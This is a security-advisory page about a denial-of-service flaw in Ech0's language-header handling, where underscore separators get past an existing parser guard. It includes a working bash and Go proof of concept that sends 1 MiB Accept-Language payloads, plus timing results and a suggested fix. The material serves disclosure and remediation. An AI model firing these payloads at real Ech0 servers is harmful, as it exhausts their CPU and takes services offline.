GHSA-mqxv-9rm6-w8qc: Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- According to the record, no fixed version is available yet.
Low priority for now. Update when a fix is released; follow the vendor's advisory.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary Ech0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. ### Affected versions `github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on: - the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below) - `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged) ### Privilege required Unauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint. ### Vulnerable code [`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213: ```go func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language")) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` `setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`: ```go func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) { if ctx == nil { return } normalized := ResolveLocale(locale) localizer := NewLocalizer(normalized, acceptLanguage) ctx.Set(ContextLocaleKey, normalized) ctx.Set(ContextLocalizerKey, localizer) ctx.Header("Content-Language", normalized) } ``` `NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request. `ctx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, ","))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice). CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` The middleware sequence on any HTTP request: 1. The request enters `i18n.Middleware()`. 2. `ctx.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `setLocaleContext` is called with that value. 4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered. No size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container: ```bash docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest sleep 5 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18300/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2) A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18300/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through lin-snow/Ech0 v4.8.2 i18n middleware at internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer). Target: http://127.0.0.1:18300/ payload=1048576 B warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s ``` Setting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, ","))` directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s. Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 2 - 8 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms | | 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s | | 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant. ### Impact - One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed. ### Suggested fix Apply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling: ```go // internal/i18n/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func sanitizeAcceptLanguage(v string) string { if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators { return "" } return v } func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language"))) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` The same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`). A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input. ### Credit Reported by tonghuaroot. ### Fix PR https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1
- Published
- Jul 14, 2026
- Updated
- Jul 21, 2026
- EPSS
- —
- CWE
- CWE-770
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Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/lin-snow/ech0 | pkg:golang/github.com/lin-snow/ech0 |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/lin-snow/ech0 | from 0 | — |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GO-2026-5981Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware in…0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-770 · Allocation of Resources Without Limits or ThrottlingCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- FloodingCAPEC-125likelihood: High · Medium
- Excessive AllocationCAPEC-130likelihood: Medium · Medium
- XML Ping of the DeathCAPEC-147likelihood: Low · Medium
- Exponential Data ExpansionCAPEC-197likelihood: High · Medium
- Serialized Data Parameter BlowupCAPEC-229likelihood: High · High
- Serialized Data with Nested PayloadsCAPEC-230likelihood: Medium · High
- Oversized Serialized Data PayloadsCAPEC-231likelihood: Medium · High
- HTTP DoSCAPEC-469Low
ATT&CK techniques
- Network Denial of Service:Direct Network FloodT1498.001
- Network Denial of Service:Reflection AmplificationT1498.002
- Endpoint Denial of ServiceT1499
- Endpoint Denial of Service: OS Exhaustion FloodT1499.001
- Endpoint Denial of Service:Service Exhaustion FloodT1499.002
- Endpoint Denial of Service:Application Exhaustion FloodT1499.003
Change log (1)
- CVSS8 → —
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References
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Vendor advisories and official records. Exploit/PoC links are deliberately left out.